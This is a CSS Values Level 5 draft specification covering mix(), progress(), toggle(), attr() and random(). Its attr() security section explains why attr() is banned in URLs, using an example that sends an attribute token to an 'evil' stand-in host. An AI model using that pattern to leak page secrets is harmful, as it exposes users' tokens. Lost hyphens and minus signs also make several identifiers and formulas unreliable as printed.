1. Introduction
This is a diff spec against CSS Values and Units Level 4.
1.1. Module Interactions
This module extends [CSSVALUES4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3, and A.2.
2. Textual Data Types
See CSS Values 4 § 4 Textual Data Types.
3. Value Definition Syntax
See CSS Values 4 § 2 Value Definition Syntax.
3.1. Functional Notation Definitions
See CSS Values 4 § 2.6 Functional Notation Definitions.
3.1.1. Commas and Semicolons in Functions
Functional notation often uses commas to separate parts of its internal grammar. However, some functions (such as mix()) allow values that, themselves, can contain commas.
To accommodate these sorts of grammars unambiguously, commas in functional grammars are implicitly upgradeable to semicolons in Level 5; that is, commas in a functional notation's grammar can instead be represented as <semicolontoken>s. This is allornothing: either every comma in the functional notation must be written as a semicolon, or none of them must be.
When a functional notation is parsed, initially commas (,) and commamultipliers (#) in the grammar match only <commatoken>s in the value, and any commacontaining productions are not allowed to contain <commatoken>s (the productions must be interpreted as ending before the comma). If a <semicolontoken> is encountered while parsing the functional notation, the contents must be reinterpreted, with commas and commamultipliers in the grammar matching only <semicolontoken>s in the value, and commacontaining productions being allowed to contain <commatoken>s.
Commas contained in productions defined as commacontaining productions (such as <anyvalue> or <wholevalue>) are not implicitly upgradeable. Even when a functional notation is being reinterpreted with semicolons, these productions end when a <semicolontoken> is encountered.
randomitem ( <randomcachingoptions>, [ <declarationvalue>?] #)
The # indicates commaseparated repetitions, so randomly choosing between three keywords would be written as normal for functions, like:
liststyle : randomitem ( x, disc, circle, square);
It is allowed, however, to "upgrade" the commas to semicolons, like:
liststyle : randomitem ( x; disc; circle; square);
Both of the above mean the exact same thing. However, mixing commas and semicolons does not work; the following can produce an invalid value after substitution:
liststyle : randomitem ( x; disc, circle; square);
because it represents choosing between two values (disc, circle and square) and disc, circle is not a valid liststyle value.
However, sometimes the values you want to choose between need to include commas. For example, in fontfamily:
fontfamily : randomitem ( x; Times, serif; Arial, sansserif; Courier, monospace);
This randomly chooses one of three fontfamily lists: either Times, serif, or Arial, sansserif, or Courier, monospace. But if only single fonts were needed for each choice, commas could have been used to separate them:
fontfamily : randomitem ( x, serif, sansserif, monospace);
Functional notations are serialized with commas (rather than semicolons) whenever possible.
The following generic productions are commacontaining productions:
4. Extensions to Level 4 Value Types
See CSS Values and Units Level 4.
4.1. Resource Locators: the <url> type
See CSS Values 4 § 4.5 Resource Locators: the <url> type.
4.1.1. Request URL Modifiers
<requesturlmodifier>s are <urlmodifier>s that affect the <url>’s resource request by applying associated URL request modifier steps. See CSS Values 4 § 4.5.4 URL Processing Model.
This specification defines the following <requesturlmodifier>s:
<requesturlmodifier> = <crossoriginmodifier>  <integritymodifier>  <referrerpolicymodifier> <crossoriginmodifier> =crossorigin ( anonymous  usecredentials) <integritymodifier> =integrity ( <string>) <referrerpolicymodifier> =referrerpolicy ( noreferrer  noreferrerwhendowngrade  sameorigin  origin  strictorigin  originwhencrossorigin  strictoriginwhencrossorigin  unsafeurl)
 <crossoriginmodifier> = crossorigin(anonymous  usecredentials)

The URL request modifier steps for this modifier given request req are:

If the given value is usecredentials, set request's credentials mode to "include".
 <integritymodifier> = integrity(<string>)
 The URL request modifier steps for this modifier given request req are to set request's integrity metadata to the given <string>.
 <referrerpolicymodifier> = referrerpolicy(noreferrer  noreferrerwhendowngrade  sameorigin  origin  strictorigin  originwhencrossorigin  strictoriginwhencrossorigin  unsafeurl)
 The URL request modifier steps for this modifier given request req are to set request's referrer policy to the
ReferrerPolicy
that matches the given value.
4.2. 2D Positioning: the <position> type
The <position> value specifies the position of an alignment subject (e.g. a background image) inside an alignment container (e.g. its background positioning area) as a pair of offsets between the specified edges (defaulting to the left and top). Its syntax is:
<position> = <positionone>  <positiontwo>  <positionfour> <positionone> =[ left  center  right  top  bottom  xstart  xend  ystart  yend  blockstart  blockend  inlinestart  inlineend  <lengthpercentage>] <positiontwo> =[ [ left  center  right  xstart  xend] &&[ top  center  bottom  ystart  yend] [ left  center  right  xstart  xend  <lengthpercentage>] [ top  center  bottom  ystart  yend  <lengthpercentage>] [ blockstart  center  blockend] &&[ inlinestart  center  inlineend] [ start  center  end] { 2 } ] <positionfour> =[ [ [ left  right  xstart  xend] <lengthpercentage>] &&[ [ top  bottom  ystart  yend] <lengthpercentage>] [ [ blockstart  blockend] <lengthpercentage>] &&[ [ inlinestart  inlineend] <lengthpercentage>] [ [ start  end] <lengthpercentage>] { 2 } ]
If only one value is specified (<positionone>), the second value is assumed to be center.
If two values are given (<positiontwo>), a <lengthpercentage> as the first value represents the horizontal position as the offset between the left edges of the alignment subject and alignment container, and a <lengthpercentage> as the second value represents the vertical position as an offset between their top edges.
If both keywords are one of start or end, the first one represents the block axis and the second the inline axis.
Note: A pair of axisspecific keywords can be reordered, while a combination of keyword and length or percentage cannot. So center left or inlinestart blockend is valid, while 50% left is not. start and end aren’t axisspecific, so start end and end start represent two different positions.
If four values are given (<positionfour>) then each <lengthpercentage> represents an offset between the edges specified by the preceding keyword. For example, backgroundposition: bottom 10px right 20px represents a 10px vertical offset up from the bottom edge and a 20px horizontal offset leftward from the right edge.
Positive values represent an offset inward from the edge of the alignment container. Negative values represent an offset outward from the edge of the alignment container.
backgroundposition : left10 px top15 px ; /* 10px, 15px */ backgroundposition: left top; /* 0px, 0px */ backgroundposition:10 px 15 px ; /* 10px, 15px */ backgroundposition: left15 px ; /* 0px, 15px */ backgroundposition:10 px top; /* 10px, 0px */
backgroundposition : right3 em bottom10 px
The computed value of a <position> is a pair of offsets (horizontal and vertical), each given as a computed <lengthpercentage> value, representing the distance between the left edges and top edges (respectively) of the alignment subject and alignment container.
 <lengthpercentage>

A <lengthpercentage> value specifies the size of the offset
between the specified edges of the alignment subject and alignment container.
For example, for backgroundposition: 2cm 1cm, the top left corner of the background image is placed 2cm to the right and 1cm below the top left corner of the background positioning area.
A <percentage> for the horizontal offset is relative to (width of alignment container  width of alignment subject). A <percentage> for the vertical offset is relative to (height of alignment container  height of alignment subject).
For example, with a value pair of 0% 0%, the upper left corner of the alignment subject is aligned with the upper left corner of the alignment container A value pair of 100% 100% places the lower right corner of the alignment subject in the lower right corner of the alignment container. With a value pair of 75% 50%, the point 75% across and 50% down the alignment subject is to be placed at the point 75% across and 50% down the alignment container.  top
 right
 bottom
 left
 Offsets the top/left/right/bottom edges (respectively) of the alignment subject and alignment container by the specified amount (defaulting to 0%) in the corresponding axis.
 ystart
 yend
 xstart
 xend
 Computes the same as the physical edge keyword corresponding to the start/end side in the [=yaxisy/x axis.
 blockstart
 blockend
 inlinestart
 inlineend
 Computes the same as the physical edge keyword corresponding to the start/end side in the block/inline axis.
 center
 Computes to a 50% offset in the corresponding axis.
Unless otherwise specified, the flowrelative keywords are resolved according to the writing mode of the element on which the value is specified.
Note: The backgroundposition property also accepts a threevalue syntax. This has been disallowed generically because it creates parsing ambiguities when combined with other length or percentage components in a property value.
Need to define how this syntax would expand to the longhands of backgroundposition if e.g. var() is used for some (or all) of the components. [Issue #9690]
4.2.1. Parsing <position>
When specified in a grammar alongside other keywords, <length>s, or <percentage>s, <position> is greedily parsed; it consumes as many components as possible.
4.2.2. Serializing <position>
When serializing the specified value of a <position>:
 If only one component is specified:


The implied center keyword is added, and a 2component value is serialized.

 If two components are specified:


Keywords are serialized as keywords.

<lengthpercentage>s are serialized as <lengthpercentage>s.

Components are serialized horizontal first, then vertical.

 If four components are specified:


Keywords and offsets are both serialized.

Components are serialized horizontal first, then vertical; alternatively blockaxis first, then inlineaxis.

Note: <position> values are never serialized as a single value, even when a single value would produce the same behavior, to avoid causing parsing ambiguities in some grammars where a <position> is placed next to a <length>, such as transformorigin.
The computed value of a <position> is serialized as a pair of <lengthpercentage>s representing offsets from the left and top edges, in that order.
4.2.3. Combination of <position>
Interpolation of <position> is defined as the independent interpolation of each component (x, y) normalized as an offset from the top left corner as a <lengthpercentage>.
Addition of <position> is likewise defined as the independent addition each component (x, y) normalized as an offset from the top left corner as a <lengthpercentage>.
5. Interpolation Progress Functional Notations
This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245]
The progress(), mediaprogress(), and containerprogress() functional notations represent the proportional distance of a given value (the progress value) from one value (the progress start value) to another value (the progress end value). They allow drawing a progress ratio from math functions, media features, and container features, respectively, following a common syntactic pattern:
progressfunction () =progressfunction ( progress value from start value to end value)
The resulting ratio is a <number>, which can then be input into other calculations, such as a math function or a mix notation.
5.1. Calculated Progress Values: the progress() notation
The progress() functional notation returns a <number> value representing the position of one calculation (the progress value) between two other calculations (the progress start value and progress end value). The argument calculations can resolve to any <number>, <dimension>, or <percentage>, but must have a consistent type or else the function is invalid. The result will be a <number>, made consistent with the consistent type of the arguments.
The syntax of progress() is defined as follows:
<progress () > =progress ( <calcsum> from <calcsum> to <calcsum>)
where the first, second, and third <calcsum> values represent the progress value, progress start value, and progress end value, respectively.
The value returned by a valid progress() notation is (progress value  start value) / (end value  start value), as a <number>.
Do we need a percentprogress() notation, or do enough places autoconvert that it’s not necessary?
Note: The progress() function is essentially syntactic sugar for a particular pattern of calc() notations.
5.2. Media Query Progress Values: the mediaprogress() notation
Similar to the progress() notation, the mediaprogress() functional notation returns a <number> value representing current value of the specified media query [MEDIAQUERIES4] as a progress value between two explicit values of the media query (as the progress start value and progress end value).
The syntax of mediaprogress() is defined as follows:
<mediaprogress () > =mediaprogress ( <mediafeature> from <calcsum> to <calcsum>)
The value returned by a valid mediaprogress() notation is progress value / (end value  start value, as a <number>.
The specified media query must be a valid “range” type query, and its specified progress start value and progress end value must be valid values for the specified media query, or else the function is invalid.
The two input calculations but must have a consistent type or else the function is invalid. The result will be a <number>, made consistent with the consistent type of the arguments.
5.3. Container Query Progress Values: the containerprogress() notation
The containerprogress() functional notation is identical to the mediaprogress() functional notation, except that it accepts container features [CSSCONTAIN3] in place of media features.
The syntax of containerprogress() is defined as follows:
<containerprogress () > =containerprogress ( <sizefeature>[ of <containername>] ? from <calcsum> to <calcsum>)
where the optional <containername> component specifies the named containers to consider when selecting a container to resolve against.
The two input calculations but must have a consistent type or else the function is invalid. The result will be a <number>, made consistent with the consistent type of the arguments.
If no appropriate containers are found, containerprogress() resolves its <sizefeature> query against the small viewport size.
6. Mixing and Interpolation Notations: the *mix() family
This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245]
Several mix notations in CSS allow representing the interpolation of two values, the mix start value and the mix end value, at a given point in progress between them (the mix progress value). These functional notations follow the syntactic pattern:
mixfunction () =mixfunction ( <progress>, [ =mix start valuestartvalue=] , [ =mix end valueendvalue=] )
The mix notations in CSS include:

calcmix(), for interpolating <length>, <percentage>, <time>, and other dimensions representable in calc() expressions

colormix(), for interpolating two <color> values

crossfade(), for interpolating <image> values

palettemix(), for interpolating two fontpalette values
and finally the generic mix() notation, which can represent the interpolation of any property’s values (but only the property’s entire value, not individual components).
Note: The crossfade() notation also has an alternative syntax that allows for mixing more than two values, but does not allow for the more complex expressions of <progress>.
The mix() notation also has a variant that takes a set of keyframes. It does this by referring to an @keyframes rule, and pulling the corresponding property declaration out of that. It would be nice to allow the other mix notations to take keyframe also, but how would we represent a set of keyframes for a component value (rather than a full property value)?
6.1. Representing Interpolation Progress: the <progress> type
The <progress> value type represents the mix progress value in a mix notation, and ultimately resolves to a percentage. It can, however, draw that percentage value from sources such as media queries and animation timelines, and can also convert it through an easing function before using it for interpolation.
Its syntax is defined as follows:
<progress> =[ <percentage>  <number>  <'animationtimeline' >] &&[ by <easingfunction>] ?
where:
 <percentagetoken>

Computes to the equivalent <number>: 0% becomes 0, 100% becomes 1,
etc.
Note: This only allows literal percentages, like 15%; calculations like calc(100% / 7) will not work, as they will instead attempt to use the normal rules for resolving a percentage against another type (such as <length>, in width). Use expressions like calc(1 / 7) instead.
 <number>

Represents the mix progress value.
Note: This allows the use of the progress(), mediaprogress(), and containerprogress() notations.
 <'animationtimeline'>
 Represents the mix progress value as the progress of the specified animation timeline. The values none and auto, however, are invalid. [CSSANIMATIONS2] [WEBANIMATIONS2]
 <easingfunction>
 Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSSEASING1]
Note: Progress values below 0 and above 1 are valid; they allow representing interpolation beyond the range defined by the start and end values.
Note: While <progress> itself can be a <percentage>, mapping directly to the equivalent <number>, a function that resolves to a <number>, like progress(), resolves <percentage>s using the normal rules for the context; for example, in width, they would be resolved against a length.
The computed value of a <progress> value specified with <percentage> or <number> is the computed <number> converted through the <easingfunction> (if any). The computed value of a <progress> value specified with <'animationtimeline'> is the computed <'animationtimeline'> and <easingfunction> (if any).
6.2. Interpolated Numeric and Dimensional Values: the calcmix() notation
The calcmix() mix notation represents an interpolated numeric or dimensional value. Like calc(), it is a math function, with the following syntactic form:
<calcmix () > =calcmix ( <progress>, <calcsum>, <calcsum>)
The <calcsum> arguments can resolve to any <number>, <dimension>, or <percentage>, but must have a consistent type or else the function is invalid. The result’s type will be the consistent type, made consistent with the type of the <progress> value.
The used value of a valid calcmix() is the result of interpolating these two values to the progress given by <progress>. If the <progress> value can be computed to a <number>, then the computed value is likewise the result of interpolating the two computed values to that <progress> value (in other words, A * (1progress) + B * progress) it is otherwise the calcmix() notation itself with its arguments each computed according to their type.
6.3. Interpolated Color Values: the colormix() notation
This specification extends the colormix() functional notation as a mix notation accepting the following syntaxes:
<colormix () > =colormix ( [ <progress> && <colorinterpolationmethod>?] , <color>, <color>) colormix ( <colorinterpolationmethod>, [ <color> && <percentage[ 0 , 100 ] >?] #{ 2 } )
The used value of the first mix notation variant is equivalent to assigning the <progress> value, as a <percentage>, to the <percentage> of the second <color> argument in the second variant. That is, colormix(progress, color1, color2) is equivalent to colormix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the colormix() Function for the normative definition of the second variant.
<progress> allows returning percentages outside 0100%, but colormix() doesn’t allows such values, so need to define how that gets processed.
6.4. Interpolated Image Values: the crossfade() notation
This specification extends the crossfade() functional notation as a mix notation accepting the following syntaxes:
<crossfade () > =crossfade ( <progress>, [ <image>  <color>] , [ <image>  <color>] ) crossfade ( <cfimage>#)
The used value of the first mix notation variant is equivalent to assigning the <progress> value as the <percentage> of the second <color> argument in the second variant. That is, crossfade(progress, image1, image2) is equivalent to crossfade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the crossfade() notation for the normative definition of the second variant.
6.5. Interpolated Transform Values: the transformmix() notation
The transformmix() mix notation represents an interpolated <transformlist>, with the following syntactic form:
<transformmix () > =transformmix ( <progress>, <transformlist>, <transformlist>)
The used value of a valid transformmix() is the result of interpolating these two values to the progress given by <progress>. If the <progress> value can be computed to a <percentage>, and the <transformlist>s can be interpolated without usedvaluetime information, then the computed value is likewise the result of interpolating the two computed values to that <progress> value; it is otherwise the transformmix() notation itself with its arguments each computed according to their type.
transformmix() is, itself, a <transformfunction>.
6.6. Interpolated Property Values: the mix() notation
Interpolation of any two property values can be represented by the mix() mix notation, which supports two alternative syntax patterns:
<mix () > =mix ( <progress>, <wholevalue>, <wholevalue>) mix ( <progress> && of <'animationname' >)
The first syntax alternative, like other mix notations, interpolates between the first <wholevalue> (its mix start value) and the second <wholevalue> (its mix end value). The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes, allowing for more complex interpolation curves.
Note: This functional notation uses semicolons to separate arguments rather than the more typical comma because the values themselves can contain commas.
For the standard mix notation variant, if the two <wholevalue>s being interpolated by mix() are interpolable as values for the property in which it is specified, and the interpolated value can be represented without mix(), the computed value of mix() is the result of interpolating these two values to the progress given by <progress>. Otherwise, the computed value of mix() is the mix() functional notation itself with its <progress> value computed and its <wholevalue>s (if provided) computed as values for this property.
color : mix ( 90 % , red, blue); /* via simple interpolation, computes to: */ color:rgb ( 10 % 0 90 % ); color : mix ( 90 % , currentcolor, black); /* can’t be fully resolved at computedvalue time, but still has a defined representation: */ color:colormix ( currentcolor90 % , black10 % ); float : mix ( 90 % , left, right); /* discretely animatable */ float: right;
But a few cases don’t have an intermediate representation:
transform : mix ( 90 % , translate ( calc ( 1 em +50 % )), rotate ( 30 deg )); /* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the interpolated value can’t actually be represented. Computes to: */ transform:mix ( 90 % , translate ( calc ( 16 px +50 % )), rotate ( 30 deg )); transform : mix ( 90 % of ripple);
The mix() notation is a <wholevalue>. Additionally, if any of its <wholevalue> arguments are not animatable, the notation is invalid.
/* Invalid start value */ color:mix ( 90 % , #invalid, #F00); /* Function is mixed with other values */ background:url ( ocean ) mix ( 10 % , blue, yellow); /* 'animation*' is not animatable */ animationdelay:mix ( 0 % , 0 s , 2 s );
7. Miscellaneous Value Substituting Functions
7.1. Representing An Entire Property Value: the <wholevalue> type
Several functions defined in this specification can only be used as the "whole value" of a property. For example, backgroundposition: toggle(50px 50px, center); is valid, but backgroundposition: toggle(50px, center) 50px; is not. The <wholevalue> production represents these values.
All properties implicitly accept a <wholevalue> as their entire value, just as they accept the CSSwide keywords as their entire value.
When used as a component value of a function, <wholevalue> also represents any CSS value normally valid as the whole value of the property in which it is used (including additional <wholevalue> functions). However, some functions may restrict what a <wholevalue> argument can include.
7.2. Selecting the First Supported Value: the firstvalid() notation
CSS supports progressive enhancement with its forwardcompatible parsing: authors can declare the same property multiple times in a style rule, using different values each time, and a CSS UA will automatically use the last one that it understands and throw out the rest. This principle, together with the @supports rule, allows authors to write stylesheets that work well in old and new UAs simultaneously.
However, using var() (or similar substitution functions that resolve after parsing) thwarts this functionality; CSS UAs must assume any such property is valid at parsetime.
The firstvalid() functional notation inlines the fallback behavior intrinsic to parsing declarations. Unlike most notations, it can accept any valid or invalid syntax in its arguments, and represents the first value among its arguments that is supported (parsed as valid) by the UA as the whole value of the property it’s used in.
<firstvalid () > =firstvalid ( <declarationvalue>#)
If none of the arguments represent a valid value for the property, the property is invalid at computedvalue time.
firstvalid() is a <wholevalue>.
Should this have a different name? We didn’t quite decide on it during the resolution to add this.
Note: Despite effectively taking <wholevalue>s as its argument, firstvalid() is instead defined to take <declarationvalue>s because, by definition, it’s intended to be used in cases where its values might be invalid for the declaration it’s in. <declarationvalue> imposes no contextual validity constraints on what it matches, unlike <wholevalue>.
7.3. Toggling Between Values: toggle()
The toggle() expression allows descendant elements to cycle over a list of values instead of inheriting the same value.
<em>
elements italic in general,
but makes them normal if they’re inside something that’s italic:
em{ fontstyle : toggle ( italic, normal); }
ul{ liststyletype : toggle ( disc, circle, square, box); }
The syntax of the toggle() expression is:
<toggle () > =toggle ( <wholevalue>#)
The toggle() notation is a <wholevalue>. However, it is not allowed to be nested, nor may it contain attr() or calc() notations; declarations containing such constructs are invalid.
backgroundposition : 10 px toggle ( 50 px , 100 px ); /* toggle() must be the sole value of the property */ liststyletype:toggle ( disc, 50 px ); /* 50px isn’t a valid value of 'liststyletype' */
To determine the computed value of toggle(), first evaluate each argument as if it were the sole value of the property in which toggle() is placed to determine the computed value that each represents, called C_{n} for the nth argument to toggle(). Then, compare the property’s inherited value with each C_{n}. For the earliest C_{n} that matches the inherited value, the computed value of toggle() is C_{n+1}. If the match was the last argument in the list, or there was no match, the computed value of toggle() is the computed value that the first argument represents.
Note: This means that repeating values in a toggle() shortcircuits the list. For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em).
Note: That toggle() explicitly looks at the computed value of the parent, so it works even on noninherited properties. This is similar to the inherit keyword, which works even on noninherited properties.
Note: That the computed value of a property is an abstract set of values, not a particular serialization [CSS21], so comparison between computed values should always be unambiguous and have the expected result. For example, a Level 2 backgroundposition computed value is just two offsets, each represented as an absolute length or a percentage, so the declarations backgroundposition: top center and backgroundposition: 50% 0% produce identical computed values. If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict, please provide feedback so we can fix it.
If toggle() is used on a shorthand property, it sets each of its longhands to a toggle() value with arguments corresponding to what the longhand would have received had each of the original toggle() arguments been the sole value of the shorthand.
margin : toggle ( 1 px 2 px , 4 px , 1 px 5 px 4 px );
is equivalent to the following longhand declarations:
margintop : toggle ( 1 px , 4 px , 1 px ); marginright : toggle ( 2 px , 4 px , 5 px ); marginbottom : toggle ( 1 px , 4 px , 4 px ); marginleft : toggle ( 2 px , 4 px , 5 px );
Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin, they will cycle between only two values while the left and right margins cycle through three. In other words, the declarations above will yield the same computed values as the longhand declarations below:
margintop : toggle ( 1 px , 4 px ); marginright : toggle ( 2 px , 4 px , 5 px ); marginbottom : toggle ( 1 px , 4 px ); marginleft : toggle ( 2 px , 4 px , 5 px );
which may not be what was intended.
7.4. Attribute References: the attr() function
The attr() function substitutes the value of an attribute on an element into a property, similar to how the var() function substitutes a custom property value into a function.
attr () =attr ( <attrname> <attrtype>?, <declarationvalue>?) <attrname> =[ <identtoken>'' ] ? <identtoken> <attrtype> = string  ident  color  number  percentage  length  angle  time  frequency  flex  <dimensionunit>
The <dimensionunit> production matches a literal "%" character (that is, a <delimtoken> with a value of "%") or an ident whose value is any of the CSS units for <length>, <angle>, <time>, <frequency>, or <flex> values (such as px or ms).
The arguments of attr() are:
 <attrname>

Gives the name of the attribute being referenced, similar to <wqname> (from [SELECTORS3]) but without the possibility of a wildcard prefix.
If no namespace is specified (just an identifier is given, like attr(foo)), the null namespace is implied. (This is usually what’s desired, as namespaced attributes are rare. In particular, HTML and SVG do not contain namespaced attributes.) As with attribute selectors, the casesensitivity of <attrname> depends on the document language.
If attr() is used in a property applied to an element, it references the attribute of the given name on that element; if applied to a pseudoelement, the attribute is looked up on the pseudoelement’s originating element.
 <attrtype>

Specifies what kind of CSS value the attribute’s value will be interpreted into (the attr()’s substitution value) and what, if any, special parsing will be done to the value.
The possible values and their behavior are defined in § 7.4.1 attr() Types.
Defaults to string if omitted.
 <declarationvalue>

Specifies a fallback value for the attr(), which will be substituted instead of the attribute’s value if the attribute is missing or fails to parse as the specified type.
If the <attrtype> argument is string, defaults to the empty string if omitted; otherwise, defaults to the guaranteedinvalid value if omitted.
If a property contains one or more attr() functions, and those functions are syntactically valid, the entire property’s grammar must be assumed to be valid at parse time. It is only syntaxchecked at computedvalue time, after attr() functions have been substituted.
7.4.1. attr() Types
The behavior of the attr() function depends partially on the value of the <attrtype> argument:
 string

The substitution value is a CSS string, whose value is the literal value of the attribute. (No CSS parsing or "cleanup" of the value is performed.)
No value triggers fallback.
 ident

The substitution value is a CSS <customident>, whose value is the literal value of the attribute, with leading and trailing ASCII whitespace stripped. (No CSS parsing of the value is performed.)
If the attribute value, after trimming, is the empty string, there is instead no substitution value.
If the <customident>’s value is a CSSwide keyword or default, there is instead no substitution value.
 color

Parse a component value from the attribute’s value. If the result is a <hexcolor> or a named color ident, the substitution value is that result as a <color>.
Otherwise there is no substitution value.
 number

Parse a component value from the attribute’s value. If the result is a <numbertoken>, the result is the substitution value.
Otherwise, there is no substitution value.
 percentage

Parse a component value from the attribute’s value. If the result is a <percentagetoken>, the result is the substitution value.
Otherwise, there is no substitution value.
 length
 angle
 time
 frequency
 flex

Parse a component value from the attribute’s value. If the result is a <dimensiontoken> whose unit matches the given type, the result is the substitution value.
Otherwise, there is no substitution value.
 <dimensionunit>

Parse a component value from the attribute’s value. If the result is a <numbertoken>, the substitution value is a dimension with the result’s value, and the given unit.
Otherwise, there is no substitution value.
Do we want to allow math functions as attr values
for all the numeric types?
And color functions for "color"?
I think we do,
but I’d have to check the contents to make sure they don’t contain further reference functions; foo="rgb(var(red), 0, 0)"
needs to be illegal for attr(foo color).
<stock> <wood length="12" /> <wood length="5" /> <metal length="19" /> <wood length="4" /> </stock> stock::before{ display : block; content : "To scale, the lengths of materials in stock are:" ; } stock > *{ display : block; width : attr ( length em, 0 px ); height : 1 em ; border : solid thin; margin : 0.5 em ; } wood{ background : orangeurl ( wood.png ); } metal{ background : silverurl ( metal.png ); }
7.4.2. attr() Substitution
attr() and var() substitute at the same time, so I should probably rewrite substitute a var() to be more generally about "substitute a reference" and just use that for both of these functions.
attr() functions are substituted at computedvalue time. If a declaration, once all attr() functions are substituted in, does not match its declared grammar, the declaration is invalid at computedvalue time.
To substitute an attr():

If the attr() function has a substitution value, replace the attr() function by the substitution value.

Otherwise, if the attr() function has a fallback value as its last argument, replace the attr() function by the fallback value. If there are any var() or attr() references in the fallback, substitute them as well.

Otherwise, the property containing the attr() function is invalid at computedvalue time.
7.4.3. Security
An attr() function can reference attributes that were never intended by the page to be used for styling, and might contain sensitive information (for example, a security token used by scripts on the page).
In general, this is fine. It is difficult to use attr() to extract information from a page and send it to a hostile party, in most circumstances. The exception to this is URLs. If a URL can be constructed with the value of an arbitrary attribute, purely from CSS, it can easily send any information stored in attributes to a hostile party, if 3rdparty CSS is allowed at all.
For this reason, attr() does not have a url type. Additionally, attr() is not allowed to be used in any <url> value, whether directly or indirectly. Doing so makes the property it’s used in invalid.

backgroundimage: src(attr(foo));  can’t use it directly.

backgroundimage: image(attr(foo))  can’t use it in other <url>taking functions.

backgroundimage: src(string("http://example.com/evil?token=" attr(foo)))  can’t "launder" it thru another function.

foo: attr(foo); backgroundimage(src(var(foo))) (assuming that foo is a registered custom property with string syntax)  can’t launder the value thru another property, either.
Note: Implementing this restriction requires tracking a dirty bit on values constructed from attr() values, since they can be fully resolved into a string via registered custom properties, so you can’t rely on just examining the value expression. Note that nonstring types can even trigger this, via functions like string() that can stringify other types of values: foo: attr(foo number); backgroundimage: src(string(var(foo))) needs to be invalid as well.
8. Generating Random Values
It is often useful to incorporate some degree of "randomness" to a design, either to make repeated elements on a page feel less static and identical, or just to add a bit of "flair" to a page without being distracting.
The random() and randomitem() functions (the random functions) allow authors to incorporate randomness into their page, while keeping this randomness predictable from a design perspective, letting authors decide whether a random value should be reused in several places or be unique between instances.
The exact randomnumber generation method is UAdefined. It should be the case that two distinct random values have no easilydetectable correlation, but this specification intentionally does not specify what that means in terms of cryptographic strength. Authors must not rely on random functions for any purposes that depend on quality cryptography.
8.1. Generating a Random Numeric Value: the random() function
The random() function is a math function that represents a random value between a minimum and maximum value, drawn from a uniform distribution, optionally limiting the possible values to a step between those limits:
<random () > =random ( <randomcachingoptions>?, <calcsum>, <calcsum>, [ by <calcsum>] ?) <randomcachingoptions> = <dashedident>  perelement
Its arguments are:
 <randomcachingoptions>

The optional <randomcachingoptions> provides some control over whether a given random() function resolves similarly or differently to other random()s on the page. See § 8.3 Generating/Caching Random Values: the <randomcachingoptions> value for details.
By default, random() resolves to a single value, shared by all elements using that style, and two random() functions with identical arguments will resolve to the same random value.Providing a <dashedident> does nothing, but can make the argument lists distinct between two or more otherwiseidentical random() functions, so they’ll generate distinct values.
The perelement keyword causes the random() function to generate a different value on each element the function is applied to, rather than resolving to a single value per usage in the stylesheet.
 <calcsum>, <calcsum>

The two required calculations specify the minimum and maximum value the function can resolve to. Both limits are inclusive (the result can be the min or the max).
If the maximum value is less than the minimum value, it behaves as if it’s equal to the minimum value.
For example, random(100px, 300px) will resolve to a random <length> between 100px and 300px: it might be 100px, 300px, or any value between them like 234.5px.  by <calcsum>

The final optional argument specifies a step value: the values the function can resolve to are further restricted to the form
min +
, where N is a nonnegative integer chosen uniformly randomly from the possible values that result in an inrange value.( N * step) For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px; it will never return a value like 120px.While the minimum value is always a possible result, the maximum value isn’t always, if it’s not also a multiple of the step from the minimum. For example, in random(100px, 300px, by 30px), the largest possible value it can resolve to is 280px, 6 steps from the minimum value.
Note that rounding issues might have an effect here: in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values (100px, and approximately 133.33px and 166.67px), but whether 200px is possible depends on rounding precision. To be safe, you can put the maximum value slightly above where you expect the final step to land, like random(100px, 201px, by 100px / 3).
As explained in the definition of round(), CSS has no "natural" precision for values, but the step value can be used to assign one.For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers; etc.
Note: The definition of the step does not allow for naively generating a random value in the range and then rounding it to the nearest step value, as that can result in the values not appearing with the same weights. For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance; a naive roundingbased method will instead incorrectly generate 150px twice as often as the boundary values.
All of the calculation arguments can resolve to any <number>, <dimension>, or <percentage>, but must have the same type, or else the function is invalid; the result will have the same type as the arguments.
However, random(50px, 180deg) is invalid, as lengths and angles are not the same type.
A random() function can be simplified as soon as its argument calculations can be simplified to numeric values.
Note: This means that random() is usually resolved by computed value time, and thus will inherit as a static numeric value. However, if the argument calculations aren’t resolved until used value time (such as if they include <percentage> values that require layout information to resolve), inheritance will transfer the random() function itself. (This is no different, however, to the behavior of the <percentage>s themselves, which would inherit as <percentage>s and thus might resolve to different values on the child elements.)
At least in theory it should be fine to use random() in nonproperty contexts,
so long as perelement isn’t specified;
it’s welldefined what happens with
,
for example.
I suspect we want to disallow it, tho?
8.1.1. Argument Ranges
In random(A, B, by C), if A or B is infinite, the result is NaN. If C is infinite, the result is A.
(If C is zero or negative, the result is A, but that falls out of the standard definition.)
Note: As usual for math functions, if any argument calculation is NaN, the result is NaN.
8.2. Picking a Random Item From a List: the randomitem() function
The randomitem() function resolves to a random item from among its list of items.
<randomitem () > =randomitem ( <randomcachingoptions>, [ <declarationvalue>?] #)
The required <randomcachingoptions> is interpreted identically to random(). (See § 8.3 Generating/Caching Random Values: the <randomcachingoptions> value for details.)
Aside from these, the grouping of randomitem() functions as "identical" is much simpler: all that matters is the number of arguments.
That is, randomitem(x, red, blue, green) and randomitem(x, 1, 2, 3) will always resolve to the same argument index: either red and 1, or blue and 2, or green and 3. This allows coordination between groups of properties that all want to use a random set of values.
On the other hand, randomitem(x, red, blue, green) and randomitem(x, 1, 2, 3, 4) will have no connection to each other; any of the 12 possible combinations can occur.
